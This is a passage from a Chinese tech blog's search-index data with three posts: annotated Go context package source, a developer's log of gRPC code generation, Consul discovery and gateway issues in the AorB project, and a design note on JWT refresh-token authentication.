Canceled, nil) } } WithCancelCause CancelCauseFunc是一个用于取消操作并设置取消原因的函数类型，WithCancelCause函数用于创建一个可以被取消并记录原因的Context。\nCancelCauseFunc 类型 // A CancelCauseFunc behaves like a [CancelFunc] but additionally sets the cancellation cause. // This cause can be retrieved by calling [Cause] on the canceled Context or on // any of its derived Contexts. // // If the context has already been canceled, CancelCauseFunc does not set the cause. // For example, if childContext is derived from parentContext: // - if parentContext is canceled with cause1 before childContext is canceled with cause2, // then Cause(parentContext) == Cause(childContext) == cause1 // - if childContext is canceled with cause2 before parentContext is canceled with cause1, // then Cause(parentContext) == cause1 and Cause(childContext) == cause2 type CancelCauseFunc func(cause error) A CancelCauseFunc behaves like a [CancelFunc] but additionally sets the cancellation cause.\nCancelCauseFunc是一个函数类型，类似于CancelFunc，但它还额外设置了取消的原因（cause）。 This cause can be retrieved by calling [Cause] on the canceled Context or on any of its derived Contexts.\n这个取消原因可以通过调用Cause函数在已取消的Context或其派生的任何Context上检索。 If the context has already been canceled, CancelCauseFunc does not set the cause.\n如果Context已经取消，CancelCauseFunc不会设置原因。 For example, if childContext is derived from parentContext:\n例如，如果childContext是从parentContext派生的： 如果parentContext在childContext之前被用cause1取消，那么Cause(parentContext) == Cause(childContext) == cause1。 如果childContext在parentContext之前被用cause2取消，那么Cause(parentContext) == cause1且Cause(childContext) == cause2。 withCancel 函数 func withCancel(parent Context) *cancelCtx { if parent == nil { panic(\u0026#34;cannot create context from nil parent\u0026#34;) } c := \u0026amp;cancelCtx{} c.propagateCancel(parent, c) return c } withCancel 函数用于创建一个新的cancelCtx实例，并将其与父Context关联起来。 如果传入的parent为nil，则会引发panic。 创建一个新的cancelCtx实例，并调用propagateCancel方法将新Context与父Context关联起来。 WithCancelCause 函数 // WithCancelCause behaves like [WithCancel] but returns a [CancelCauseFunc] instead of a [CancelFunc]. // Calling cancel with a non-nil error (the \u0026#34;cause\u0026#34;) records that error in ctx; // it can then be retrieved using Cause(ctx). // Calling cancel with nil sets the cause to Canceled. // // Example use: // //\tctx, cancel := context.WithCancelCause(parent) //\tcancel(myError) //\tctx.Err() // returns context.Canceled //\tcontext.Cause(ctx) // returns myError func WithCancelCause(parent Context) (ctx Context, cancel CancelCauseFunc) { c := withCancel(parent) return c, func(cause error) { c.cancel(true, Canceled, cause) } } WithCancelCause behaves like [WithCancel] but returns a [CancelCauseFunc] instead of a [CancelFunc].\nWithCancelCause函数类似于WithCancel，但它返回的是一个CancelCauseFunc而不是CancelFunc。 Calling cancel with a non-nil error (the \u0026ldquo;cause\u0026rdquo;) records that error in ctx; it can then be retrieved using Cause(ctx).\n调用cancel函数时传入一个非nil的错误（即“cause”），会将该错误记录在ctx中；可以通过调用Cause(ctx)来检索该错误。 Calling cancel with nil sets the cause to Canceled.\n如果调用cancel函数时传入nil，则会将原因设置为Canceled。 Example use:\n示例用法： ctx, cancel := context.WithCancelCause(parent) cancel(myError) ctx.Err() // 返回 context.Canceled context.Cause(ctx) // 返回 myError Cause Cause函数用于检索已取消Context的原因。\n// Cause returns a non-nil error explaining why c was canceled. // The first cancellation of c or one of its parents sets the cause. // If that cancellation happened via a call to CancelCauseFunc(err), // then [Cause] returns err. // Otherwise Cause(c) returns the same value as c.Err(). // Cause returns nil if c has not been canceled yet. func Cause(c Context) error { if cc, ok := c.Value(\u0026amp;cancelCtxKey).(*cancelCtx); ok { cc.mu.Lock() defer cc.mu.Unlock() return cc.cause } // There is no cancelCtxKey value, so we know that c is // not a descendant of some Context created by WithCancelCause. // Therefore, there is no specific cause to return. // If this is not one of the standard Context types, // it might still have an error even though it won\u0026#39;t have a cause. return c.Err() } Cause 函数返回一个非nil的错误，解释为什么c被取消了。 第一个取消c或其父Context的操作会设置原因。 如果取消是通过调用CancelCauseFunc(err)发生的，那么Cause返回err。 否则，Cause(c)返回与c.Err()相同的值。 如果c尚未被取消，则Cause返回nil。 WithDeadline WithDeadline 返回基于父 Context 的新 Context 实例。这个新 Context 是父 Context 的一个副本，但它具有不同的截止时间。新Context的截止时间被调整为不晚于给定的d时间。d是一个time.Time类型的值，表示截止时间。如果父 context 的 deadline 早于 d ，调用WithDeadline(parent, d)在语义上等同于直接使用父Context。\n在以下任一情况下，Context.Done 返回的通道是关闭的：\ndeadline 过期了 返回的 CancelFunc 被调用了 父 context 的 Done channel 被关闭了 取消这个Context会释放与之关联的资源，因此代码应该在运行在这个Context中的操作完成后立即调用cancel函数。WithDeadline函数实际上是调用WithDeadlineCause函数，并将cause参数设置为nil。这意味着在截止时间到达时，不会设置具体的取消原因。\nWithDeadlineCause函数类似于WithDeadline，但它还会在截止时间到达时设置返回Context的取消原因。返回的CancelFunc不会设置原因。\n// WithDeadline returns a copy of the parent context with the deadline adjusted // to be no later than d. If the parent\u0026#39;s deadline is already earlier than d, // WithDeadline(parent, d) is semantically equivalent to parent. The returned // [Context.Done] channel is closed when the deadline expires, when the returned // cancel function is called, or when the parent context\u0026#39;s Done channel is // closed, whichever happens first. // // Canceling this context releases resources associated with it, so code should // call cancel as soon as the operations running in this [Context] complete. func WithDeadline(parent Context, d time.Time) (Context, CancelFunc) { return WithDeadlineCause(parent, d, nil) } // WithDeadlineCause behaves like [WithDeadline] but also sets the cause of the // returned Context when the deadline is exceeded. The returned [CancelFunc] does // not set the cause. func WithDeadlineCause(parent Context, d time.Time, cause error) (Context, CancelFunc) { if parent == nil { panic(\u0026#34;cannot create context from nil parent\u0026#34;) } if cur, ok := parent.Deadline(); ok \u0026amp;\u0026amp; cur.Before(d) { // The current deadline is already sooner than the new one. return WithCancel(parent) } c := \u0026amp;timerCtx{ deadline: d, } c.cancelCtx.propagateCancel(parent, c) dur := time.Until(d) if dur \u0026lt;= 0 { c.cancel(true, DeadlineExceeded, cause) // deadline has already passed return c, func() { c.cancel(false, Canceled, nil) } } c.mu.Lock() defer c.mu.Unlock() if c.err == nil { c.timer = time.AfterFunc(dur, func() { c.cancel(true, DeadlineExceeded, cause) }) } return c, func() { c.cancel(true, Canceled, nil) } } WithTimeout WithTimeout函数实际上是调用WithDeadline函数，并将截止时间设置为当前时间加上超时时间。取消这个Context会释放与之关联的资源，因此代码应该在运行在这个Context中的操作完成后立即调用cancel函数。\nWithTimeoutCause函数类似于WithTimeout，但它还会在超时时间到达时设置返回Context的取消原因。返回的CancelFunc不会设置原因。WithTimeoutCause函数实际上是调用WithDeadlineCause函数，并将截止时间设置为当前时间加上超时时间，同时传递一个取消原因。\n// WithTimeout returns WithDeadline(parent, time.Now().Add(timeout)). // // Canceling this context releases resources associated with it, so code should // call cancel as soon as the operations running in this [Context] complete: // //\tfunc slowOperationWithTimeout(ctx context.Context) (Result, error) { //\tctx, cancel := context.WithTimeout(ctx, 100*time.Millisecond) //\tdefer cancel() // releases resources if slowOperation completes before timeout elapses //\treturn slowOperation(ctx) //\t} func WithTimeout(parent Context, timeout time.Duration) (Context, CancelFunc) { return WithDeadline(parent, time.Now().Add(timeout)) } // WithTimeoutCause behaves like [WithTimeout] but also sets the cause of the // returned Context when the timeout expires. The returned [CancelFunc] does // not set the cause. func WithTimeoutCause(parent Context, timeout time.Duration, cause error) (Context, CancelFunc) { return WithDeadlineCause(parent, time.Now().Add(timeout), cause) } WithValue WithValue函数返回一个基于父Context的新Context实例，并在该Context中关联key和val。\n检查父Context是否为nil，如果是则引发panic。 检查键是否为nil，如果是则引发panic。 检查键是否是可比较的（comparable），如果不是则引发panic。 返回一个新的valueCtx实例，该实例包含父Context、键和值。 使用Context的值仅限于请求范围内的数据，这些数据在进程和API之间传递，而不应用于向函数传递可选参数。\n// WithValue returns a copy of parent in which the value associated with key is // val. // // Use context Values only for request-scoped data that transits processes and // APIs, not for passing optional parameters to functions. // // The provided key must be comparable and should not be of type // string or any other built-in type to avoid collisions between // packages using context. Users of WithValue should define their own // types for keys. To avoid allocating when assigning to an // interface{}, context keys often have concrete type // struct{}. Alternatively, exported context key variables\u0026#39; static // type should be a pointer or interface. func WithValue(parent Context, key, val any) Context { if parent == nil { panic(\u0026#34;cannot create context from nil parent\u0026#34;) } if key == nil { panic(\u0026#34;nil key\u0026#34;) } if !reflectlite.TypeOf(key).Comparable() { panic(\u0026#34;key is not comparable\u0026#34;) } return \u0026amp;valueCtx{parent, key, val} } 关于键的使用建议\n提供的键必须是可比较的，并且不应是字符串或其他内置类型，以避免在使用Context的包之间发生冲突。WithValue的用户应该为键定义自己的类型。为了避免在赋值给接口时分配内存，Context的键通常具有具体类型struct{}。或者，导出的Context键变量的静态类型应该是指针或接口。\n","permalink":"https://sirius2alpha.github.io/posts/notes/2-areas/%E6%8A%80%E6%9C%AF%E6%A0%88/go/go-context/","summary":"理解Context 这篇文章介绍的很清楚：深入理解Go Context\n这个比较详细，但是层次不好：理解GO CONTEXT机制\n关于context的使用场景 context的主要使用场景在于：一个任务在处理的过程中可能会启动很多个协程来进行处理。在这个过程中，如果上游的任务想要取消，下游的任务也应当一起取消。context的任务就来了。\n内容介绍 context包的内容可以概括为：1个接口，4个实现，6个方法\n接口 context.Context 一个接口是指：context.Context\ntype Context interface { Deadline() (deadline time.Time, ok bool) Done() \u0026lt;-chan struct{} Err() error Value(key interface{}) interface{} } Deadline( ) Deadline会返回一个超时时间，Goroutine获得了超时时间后，例如可以对某些io操作设定超时时间。\n函数签名 Deadline() (deadline time.Time, ok bool)\nDeadline 返回的时间 deadline time.Time 代表这个ctx应该被取消的时间。返回的 ok 如果是 false 表示这个context没有设置deadline。连续调用 Deadline 会返回相同的结果。\n// Deadline returns the time when work done on behalf of this context // should be canceled. Deadline returns ok==false when no deadline is // set.","title":"【go的源码阅读】context的实现：context.go"},{"content":"gRPC服务的架构图 RPC调用总的来说就是客户端调用存根的代码，然后存根代码和RPC库实现通信，服务端的存根收到了信息后交给具体的服务进行处理，之后再原路返回就完了。\n这里附上一篇关于gRPC讲解的博客园的文章\nProto文件代码生成 项目的前后端都是使用的gRPC进行通信，都需要使用protoc编译器把之前定义好的proto文件进行编译生成对应的代码进行调用。\n问题1 timestamp.proto文件找不到 timestamp.proto是google的一个时间戳的包，因为在我们自己的proto文件中使用到了google.protobuf.Timestamp，在proeo文件的最上方也要导入对应的proto文件import \u0026quot;google/protobuf/timestamp.proto\u0026quot;;\n我记得在下载protoc编译器的时候，压缩包下面就有一个include文件夹，其中就包含有timestamp.proto文件\n问题2 go代码生成对应的包名和位置对不上 项目的后端采用的是go，想要把proto文件编译成golang的代码。这就需要在proto文件中加上go_package的字段，比如：\nsyntax = \u0026#34;proto3\u0026#34;; package rpc.auth; option go_package = \u0026#34;github.com/BigNoseCattyHome/aorb/backend/rpc/auth;auth\u0026#34;; import \u0026#34;google/protobuf/timestamp.proto\u0026#34;; // 定义消息，用于请求和响应结构 message LoginRequest { string username = 1; // 用户名/用户ID string password = 2; // 密码的md5摘要 string device_id = 3; // 设备ID google.protobuf.Timestamp timestamp = 4; // 时间戳 string nonce = 5; // 随机数 } 然后在使用protoc编译的时候，在命令行中也要加上go的一些选项，比如：\nprotoc --go_out=. person.proto\t// 找到当前目录下的person.proto并生成go的代码，输出到当前目录(.) 但是又有了一个问题就是在该文件夹下面，会生成你的包名go_package的层级目录，最后才是你的最终代码。但是我想让proto文件直接生成在一个固定的文件夹位置，并且没有那么多的层级文件夹。\n然后发现了有一个命令选项是--go_opt=paths=source_relative,使得生成的Go代码文件的路径与对应的.proto文件的路径保持一致\n问题3 dart代码生成的时候老是存在找不到pb.xx 后来上google和stackoverflow看了半天，发现结果是依赖版本的问题，把protobuf的依赖版本从^2.1.0改为^3.1.0，重新拉取一下依赖就没问题了。\n之后队友给力解决了这个问题，把proto代码生成写进了Makefile，总算解决了proto文件代码生成的问题\nPROTO_PATH=./idl GOOGLE_PROTO_PATH=/usr/local/include OUTPUT_DART_PATH=./frontend/lib/generated/ GO_OUT_PATH=./backend/rpc PROTOC_GEN_DART=$(shell which protoc-gen-dart) proto: @echo \u0026#34;Creating golang and dart grpc files...\u0026#34; @for file in $(PROTO_PATH)/*.proto; do \\ if [ -f \u0026#34;$$file\u0026#34; ]; then \\ prefix=$$(basename \u0026#34;$$file\u0026#34; .proto); \\ mkdir -p $(GO_OUT_PATH)/\u0026#34;$${prefix}\u0026#34;; \\ mkdir -p $(OUTPUT_DART_PATH); \\ echo \u0026#34;Created directory for $$prefix\u0026#34;; \\ protoc -I$(PROTO_PATH) -I$(GOOGLE_PROTO_PATH) \\ --go_out=$(GO_OUT_PATH)/$$prefix --go_opt=paths=source_relative \\ --go-grpc_out=$(GO_OUT_PATH)/$$prefix --go-grpc_opt=paths=source_relative \\ --dart_out=grpc:$(OUTPUT_DART_PATH) \\ --plugin=protoc-gen-dart=$(PROTOC_GEN_DART) \\ $$file; \\ echo \u0026#34;Generated gRPC code for $$prefix\u0026#34;; \\ fi; \\ done @protoc -I$(GOOGLE_PROTO_PATH) \\ --dart_out=grpc:$(OUTPUT_DART_PATH) \\ --plugin=protoc-gen-dart=$(PROTOC_GEN_DART) \\ google/protobuf/timestamp.proto @echo \u0026#34;Generated Dart code for Google\u0026#39;s timestamp.proto\u0026#34; 问题4 在windows上无法运行脚本 在另外一个队友的电脑上，他是使用的windows进行开发，然后遇到了代码生成失败的问题。然后看了一下，大概的问题就是命令行工具不一样，有些命令识别不了，之后把脚本改成windows的一些版本就ok了。\n网关中使用consul进行服务发现 我们项目的架构就是前端向后端发送gRPC请求，实际上就是向后端的网关进行发送，前端就不用管后端具体是怎么实现的了，只需要向网关中发送请求即可。\n网关的职责就是接收来自前端的请求，然后把请求转发给具体的微服务，等微服务处理好之后，再返回给网关，网关再给人家前端传回去就好了。\n项目中使用到了consul进行服务注册和发现，当微服务启动的时候，就会向consul发送一个微服务注册，告诉consul他自己微服务的名字和地址。然后网关通过consul客户端与consul程序进行交流，可以对在线的微服务根据服务名进行查询，获取到这些微服务实例的地址，然后把来自前端的请求准确地转发到这些实例中。\n这里有两个问题\n问题1 gRPC调用的方法名和在consul中注册的名字不同 一般来说，gRPC的方法名是服务接口的一部分，像这样：\u0026lt;package\u0026gt;.\u0026lt;service\u0026gt;/\u0026lt;method\u0026gt;\n我们的网关依赖于根据名字查找微服务的地址，我们的微服务的注册名为AorB-AuthService，而我们的gRPC的方法名为rpc.auth.AuthService/Register（包名为rpc.auth）\n所以需要在网关中增加一个映射，把gRPC的方法名转为在consul中注册的名字。\n// gRPC 服务名到 Consul 服务名的映射 var serviceNameMapping = map[string]string{ \u0026#34;rpc.auth.AuthService\u0026#34;: config.AuthRpcServerName, \u0026#34;rpc.user.UserService\u0026#34;: config.UserRpcServerName, \u0026#34;rpc.comment.CommentService\u0026#34;: config.CommentRpcServerName, \u0026#34;rpc.vote.VoteService\u0026#34;: config.VoteRpcServerName, \u0026#34;rpc.poll.QuestionService\u0026#34;: config.PollRpcServerName, \u0026#34;rpc.recommend.RecommendService\u0026#34;: config.RecommendRpcServerName, } 问题2 网关转发gRPC请求的前提是能够正确识别和接收gRPC请求 之前没有找到问题的时候情况be like:前端写好了注册的逻辑，点击发送的按钮，在前端的控制台上可以看见各个发送的数据均是正常，但是会收到gRPC的错误代码13，找不到对应的服务unknow service rpc.auth.AuthService。后端也启动了网关和auth微服务，但是在后端上在对应的方法上添加了日志输出，也没有任何日志打印出来。\n尝试直接与微服务通信 想了半天没有什么思路，然后就想排查一下后端微服务的功能是不是OK的，然后就直接把前端的请求发送到auth微服务上去，结果就是能够正常返回。这就说明了就是网关的转发的问题。锁定了目标在网关，感觉问题就解决一大半了。\n网关修复 在查阅了很多资料后发现，网关中虽然是转发gRPC请求，但是他也是一个gRPC服务器，也需要能够正确接收并处理AuthService的请求，所以他也需要实现AuthService接口，不过服务的实现采用\tauth.UnimplementedAuthServiceServer就OK了，因为具体的处理也并不是在这里，他只用转发就好了。然后在gRPC服务器上注册 auth.RegisterAuthServiceServer(s, \u0026amp;GatewayServer{})服务就可以正常实现转发了。\n将RESTful代码重构为gRPC代码 因为之前项目开发的时候后端采用了RESTful，后来决定整体上使用gRPC进行通讯，RESTful写得不是很多，所以就想要把它转过来。\nRESTful和gRPC他们之间的差异是在调用资源和传输的方式上有所差异，但是对于数据的操作部分，如service之类的代码其实并没有影响，代码的重构只用考虑：如何从RESTful风格下获取资源变为在gRPC调用下如何获取。\n理解生成的存根代码 首先需要生成对应语言的存根（stub）代码，比如在proto文件中有这么一个文件：\nsyntax = \u0026#34;proto3\u0026#34;; package user; option go_package = \u0026#34;github.com/BigNoseCattyHome/aorb/backend/rpc/user;user\u0026#34;; message CoinRecord { int64 consume = 1; // 消耗的金币数 string question_id = 2; // 为其投币的问题ID string user_id = 3; // 使用者的ID } // TODO optional 字段在后续开发过程中应该逐步取消 message User { string avatar = 1; // 用户头像 repeated string blacklist = 2; // 屏蔽好友 optional double coins = 3; // 用户的金币数 repeated CoinRecord coins_record = 4; // 用户金币流水记录 repeated string followed = 5; // 关注者 repeated string follower = 6; // 被关注者 uint32 id = 7; // 用户ID optional string ipaddress = 8; // IP归属地 string nickname = 9; // 用户昵称 repeated uint32 questions_ask = 10; // 发起过的问题 repeated uint32 questions_asw = 11; // 回答过的问题 repeated uint32 questions_collect = 12; // 收藏的问题 string username = 13; // 用户登录名 } message UserRequest{ uint32 user_id = 1; // 用户id uint32 actor_id = 2; // 发送请求的用户的id } message UserResponse{ int32 status_code = 1; // 状态码，0-成功，其他值-失败 string status_msg = 2; // 返回状态描述 User user = 3; // 用户信息 } message UserExistRequest{ uint32 user_id = 1; // 用户id } message UserExistResponse{ int32 status_code = 1; // 状态码，0-成功，其他值-失败 string status_msg = 2; // 返回状态描述 bool existed = 3; // 是否存在用户 } service UserService{ rpc GetUserInfo(UserRequest) returns (UserResponse); rpc GetUserExistInformation(UserExistRequest) returns (UserExistResponse); } 然后他生成了对应的存根代码文件就是user.pb.go和user_grpc.pb.go\n其中user.pb.go中就是对定义的各个数据结构比如UserRequest进行定义以及序列化和反序列化的代码 user_grpc.pb.go主要包括了UserServiceClient和UserServiceServer这两个接口的定义，以及他们中具体的方法 // UserServiceClient is the client API for UserService service. // // For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream. type UserServiceClient interface { GetUserInfo(ctx context.Context, in *UserRequest, opts ...grpc.CallOption) (*UserResponse, error) GetUserExistInformation(ctx context.Context, in *UserExistRequest, opts ...grpc.CallOption) (*UserExistResponse, error) } type userServiceClient struct { cc grpc.ClientConnInterface } func NewUserServiceClient(cc grpc.ClientConnInterface) UserServiceClient { return \u0026amp;userServiceClient{cc} } func (c *userServiceClient) GetUserInfo(ctx context.Context, in *UserRequest, opts ...grpc.CallOption) (*UserResponse, error) { cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) out := new(UserResponse) err := c.cc.Invoke(ctx, UserService_GetUserInfo_FullMethodName, in, out, cOpts...) if err != nil { return nil, err } return out, nil } func (c *userServiceClient) GetUserExistInformation(ctx context.Context, in *UserExistRequest, opts ...grpc.CallOption) (*UserExistResponse, error) { cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) out := new(UserExistResponse) err := c.cc.Invoke(ctx, UserService_GetUserExistInformation_FullMethodName, in, out, cOpts...) if err != nil { return nil, err } return out, nil } // UserServiceServer is the server API for UserService service. // All implementations must embed UnimplementedUserServiceServer // for forward compatibility type UserServiceServer interface { GetUserInfo(context.Context, *UserRequest) (*UserResponse, error) GetUserExistInformation(context.Context, *UserExistRequest) (*UserExistResponse, error) mustEmbedUnimplementedUserServiceServer() } 服务的具体实现 这些方法直接在你的handler中进行实现，比如在auth的handler中进行实现Register\n无非是参数需要从定义的auth.RegisterRequest中获取，其他的就是你的正常的服务。\n// Register 注册 func (a AuthServiceImpl) Register(context context.Context, request *auth.RegisterRequest) (*auth.RegisterResponse, error) { log.Infof(\u0026#34;Received Register request: %v\u0026#34;, request) // 解析参数 user := models.User{ Username: request.Username, Password: request.Password, Nickname: request.Nickname, Avatar: request.Avatar, Ipaddress: request.Ipaddress, } // 调用服务 err := services.RegisterUser(user) if err != nil { return nil, status.Errorf(codes.Unauthenticated, \u0026#34;register failed: %v\u0026#34;, err) } // 返回响应 registerResponse := \u0026amp;auth.RegisterResponse{ Success: true, Message: \u0026#34;User registered successfully\u0026#34;, } return registerResponse, nil } 其他要做的 完成好这些实现之后，最后再写一个main函数启动你的微服务，向consul中注册微服务，管理好日志以便于日后查找问题就好了。\n","permalink":"https://sirius2alpha.github.io/posts/notes/4-archive/%E9%A1%B9%E7%9B%AE%E5%BD%92%E6%A1%A3/aorb/dev-aorb-grpc/","summary":"gRPC服务的架构图 RPC调用总的来说就是客户端调用存根的代码，然后存根代码和RPC库实现通信，服务端的存根收到了信息后交给具体的服务进行处理，之后再原路返回就完了。\n这里附上一篇关于gRPC讲解的博客园的文章\nProto文件代码生成 项目的前后端都是使用的gRPC进行通信，都需要使用protoc编译器把之前定义好的proto文件进行编译生成对应的代码进行调用。\n问题1 timestamp.proto文件找不到 timestamp.proto是google的一个时间戳的包，因为在我们自己的proto文件中使用到了google.protobuf.Timestamp，在proeo文件的最上方也要导入对应的proto文件import \u0026quot;google/protobuf/timestamp.proto\u0026quot;;\n我记得在下载protoc编译器的时候，压缩包下面就有一个include文件夹，其中就包含有timestamp.proto文件\n问题2 go代码生成对应的包名和位置对不上 项目的后端采用的是go，想要把proto文件编译成golang的代码。这就需要在proto文件中加上go_package的字段，比如：\nsyntax = \u0026#34;proto3\u0026#34;; package rpc.auth; option go_package = \u0026#34;github.com/BigNoseCattyHome/aorb/backend/rpc/auth;auth\u0026#34;; import \u0026#34;google/protobuf/timestamp.proto\u0026#34;; // 定义消息，用于请求和响应结构 message LoginRequest { string username = 1; // 用户名/用户ID string password = 2; // 密码的md5摘要 string device_id = 3; // 设备ID google.protobuf.Timestamp timestamp = 4; // 时间戳 string nonce = 5; // 随机数 } 然后在使用protoc编译的时候，在命令行中也要加上go的一些选项，比如：\nprotoc --go_out=. person.proto\t// 找到当前目录下的person.proto并生成go的代码，输出到当前目录(.) 但是又有了一个问题就是在该文件夹下面，会生成你的包名go_package的层级目录，最后才是你的最终代码。但是我想让proto文件直接生成在一个固定的文件夹位置，并且没有那么多的层级文件夹。\n然后发现了有一个命令选项是--go_opt=paths=source_relative,使得生成的Go代码文件的路径与对应的.proto文件的路径保持一致\n问题3 dart代码生成的时候老是存在找不到pb.xx 后来上google和stackoverflow看了半天，发现结果是依赖版本的问题，把protobuf的依赖版本从^2.","title":"gRPC调用坎坷历程记录"},{"content":"Auth服务 这里先写我们的初步规划，最终的实现放在最后写。这实际上也是我们的开发思路。\n初步规划的API /api/v1/auth/login ​\t登录接口允许用户输入用户名和密码进行登录，服务器验证成功后，会返回一个JWT。JWT会存储在客户端的本地存储中\n/api/v1/auth/register ​\t用户注册，填写用户的基本信息，在服务器的数据库上进行注册\n/api/v1/auth/verify ​\t用户在拿着JWT去访问别的微服务的时候，我们要先验证这个JWT的合法性。确保用户合法。具体的实现就是去检查这个JWT是否过期，用户名是否正确。\n/api/v1/auth/refresh ​\tJWT有一个Expire过期时间，当用户还在使用的时候，JWT需要刷新。就使用刷新令牌进行刷新，经过服务器验证之后，返回一个新的刷新令牌。\n/api/v1/auth/logout ​\t退出登录，需要在客户端本地删除token，并且把刷新令牌revoke\n查阅资料：刷新Token的策略 刷新令牌（Refresh Token） 定义： 刷新令牌是一种用于获取新的访问令牌（Access Token）的凭证，通常在访问令牌过期后使用，以避免用户频繁重新登录。\n工作原理：\n用户首次登录时，服务器颁发一个访问令牌和一个刷新令牌。 访问令牌用于访问受保护的资源，具有较短的有效期。 当访问令牌过期时，客户端使用刷新令牌向服务器请求新的访问令牌。 服务器验证刷新令牌的有效性，如果有效，则颁发新的访问令牌，并可能同时颁发新的刷新令牌。 优点：\n提高用户体验，减少频繁登录的需求。 访问令牌具有较短的有效期，降低安全风险。 缺点：\n需要妥善保护刷新令牌，因为刷新令牌的泄露可能导致长期的安全问题。 实现强制注销或更改密码后立即失效所有令牌比较困难。 缓存令牌（Cached Token） 定义： 缓存令牌是指将令牌存储在缓存系统（如Redis）中，以便快速验证和撤销令牌。\n工作原理：\n用户登录后，服务器生成一个令牌并将其存储在缓存系统中。 客户端在访问受保护的资源时，携带令牌。 服务器从缓存系统中验证令牌的有效性。 如果需要撤销令牌，服务器可以从缓存系统中删除该令牌。 优点：\n快速验证和撤销令牌，提高系统的响应速度。 灵活的令牌管理，可以随时撤销某个令牌。 缺点：\n增加了系统的复杂性，需要维护缓存系统。 依赖外部服务，如果缓存系统出现故障，会影响整个系统的正常运行。 双令牌机制（Dual Token Mechanism） 定义： 双令牌机制是指使用两种不同类型的令牌来实现更复杂的授权和身份验证流程。\n工作原理：\n用户通过身份验证后，服务器颁发一个身份验证令牌（例如JWT）和一个授权令牌（例如OAuth 2.0的访问令牌）。 身份验证令牌用于证明用户的身份，通常具有较长的有效期。 授权令牌用于访问受保护的资源，通常具有较短的有效期。 当授权令牌过期时，客户端可以使用身份验证令牌向服务器请求新的授权令牌。 优点：\n身份验证令牌具有较长的有效期，减少用户频繁登录的需求。 授权令牌具有较短的有效期，降低安全风险。 可以实现更复杂的授权策略。 缺点：\n实现和管理双令牌机制比单一令牌机制更复杂。 需要妥善保护身份验证令牌，因为身份验证令牌的泄露可能导致长期的安全问题。 总结 刷新令牌主要用于在访问令牌过期后获取新的访问令牌，减少用户频繁登录的需求。 缓存令牌通过将令牌存储在缓存系统中，实现快速验证和撤销令牌。 双令牌机制使用两种不同类型的令牌来实现更复杂的身份验证和授权流程。 每种机制都有其适用的场景和优缺点，选择合适的机制需要根据具体的安全需求和业务场景来决定。\n实现 最后经过和队友的商讨，最终选择了刷新令牌的策略。并且在服务端实现刷新令牌的存储，以达到能够实现刷新令牌revoke的功能。\n接口 /api/v1/auth/login ​\t登录接口允许用户输入用户名和密码进行登录，服务器验证成功后，会返回一个JWT访问令牌和刷新令牌和他们各自的过期时间。都会存储在客户端的本地存储中\n/api/v1/auth/register ​\t用户注册，填写用户的基本信息，在服务器的数据库上进行注册\n/api/v1/auth/verify ​\t用户在拿着访问令牌去访问别的微服务的时候，我们要先验证这个访问令牌的合法性。确保用户合法。具体的实现就是去检查这个JWT是否过期，签名是否正确等。\n/api/v1/auth/refresh ​\tJWT有一个Expire过期时间，当用户还在使用的时候，JWT需要刷新。就使用刷新令牌进行刷新，经过服务器验证之后，返回一个新的刷新令牌。\n/api/v1/auth/logout ​\t退出登录，需要在客户端本地删除token，并且把刷新令牌revoke掉。\n优势和还存在的问题的权衡 JWT本来是无状态的，就可以避免服务器维护状态的额外开销。但是如果令牌泄漏之后存在安全风险，而我们又无法阻止这个有被劫持风险的令牌去访问我们的服务，这就会可能会造成用户的损失。\n我们对于颁发的刷新令牌不予更新，每当刷新令牌过期之后，用户通过重新登录获取。访问令牌的过期时间较短，大约可设置为1小时；刷新令牌的过期时间长一些，可以设置为1天或更长。如果访问令牌被劫持，由于他的过期时间很短，造成的损失不会很大。当发现刷新令牌被盗用之后，用户可以实现重新登录获得新的刷新令牌，在服务端维护一个用户对应一个没有被revoke的刷新令牌。\n","permalink":"https://sirius2alpha.github.io/posts/notes/4-archive/%E9%A1%B9%E7%9B%AE%E5%BD%92%E6%A1%A3/aorb/dev-aorb-auth/","summary":"Auth服务 这里先写我们的初步规划，最终的实现放在最后写。这实际上也是我们的开发思路。\n初步规划的API /api/v1/auth/login ​\t登录接口允许用户输入用户名和密码进行登录，服务器验证成功后，会返回一个JWT。JWT会存储在客户端的本地存储中\n/api/v1/auth/register ​\t用户注册，填写用户的基本信息，在服务器的数据库上进行注册\n/api/v1/auth/verify ​\t用户在拿着JWT去访问别的微服务的时候，我们要先验证这个JWT的合法性。确保用户合法。具体的实现就是去检查这个JWT是否过期，用户名是否正确。\n/api/v1/auth/refresh ​\tJWT有一个Expire过期时间，当用户还在使用的时候，JWT需要刷新。就使用刷新令牌进行刷新，经过服务器验证之后，返回一个新的刷新令牌。\n/api/v1/auth/logout ​\t退出登录，需要在客户端本地删除token，并且把刷新令牌revoke\n查阅资料：刷新Token的策略 刷新令牌（Refresh Token） 定义： 刷新令牌是一种用于获取新的访问令牌（Access Token）的凭证，通常在访问令牌过期后使用，以避免用户频繁重新登录。\n工作原理：\n用户首次登录时，服务器颁发一个访问令牌和一个刷新令牌。 访问令牌用于访问受保护的资源，具有较短的有效期。 当访问令牌过期时，客户端使用刷新令牌向服务器请求新的访问令牌。 服务器验证刷新令牌的有效性，如果有效，则颁发新的访问令牌，并可能同时颁发新的刷新令牌。 优点：\n提高用户体验，减少频繁登录的需求。 访问令牌具有较短的有效期，降低安全风险。 缺点：\n需要妥善保护刷新令牌，因为刷新令牌的泄露可能导致长期的安全问题。 实现强制注销或更改密码后立即失效所有令牌比较困难。 缓存令牌（Cached Token） 定义： 缓存令牌是指将令牌存储在缓存系统（如Redis）中，以便快速验证和撤销令牌。\n工作原理：\n用户登录后，服务器生成一个令牌并将其存储在缓存系统中。 客户端在访问受保护的资源时，携带令牌。 服务器从缓存系统中验证令牌的有效性。 如果需要撤销令牌，服务器可以从缓存系统中删除该令牌。 优点：\n快速验证和撤销令牌，提高系统的响应速度。 灵活的令牌管理，可以随时撤销某个令牌。 缺点：\n增加了系统的复杂性，需要维护缓存系统。 依赖外部服务，如果缓存系统出现故障，会影响整个系统的正常运行。 双令牌机制（Dual Token Mechanism） 定义： 双令牌机制是指使用两种不同类型的令牌来实现更复杂的授权和身份验证流程。\n工作原理：\n用户通过身份验证后，服务器颁发一个身份验证令牌（例如JWT）和一个授权令牌（例如OAuth 2.0的访问令牌）。 身份验证令牌用于证明用户的身份，通常具有较长的有效期。 授权令牌用于访问受保护的资源，通常具有较短的有效期。 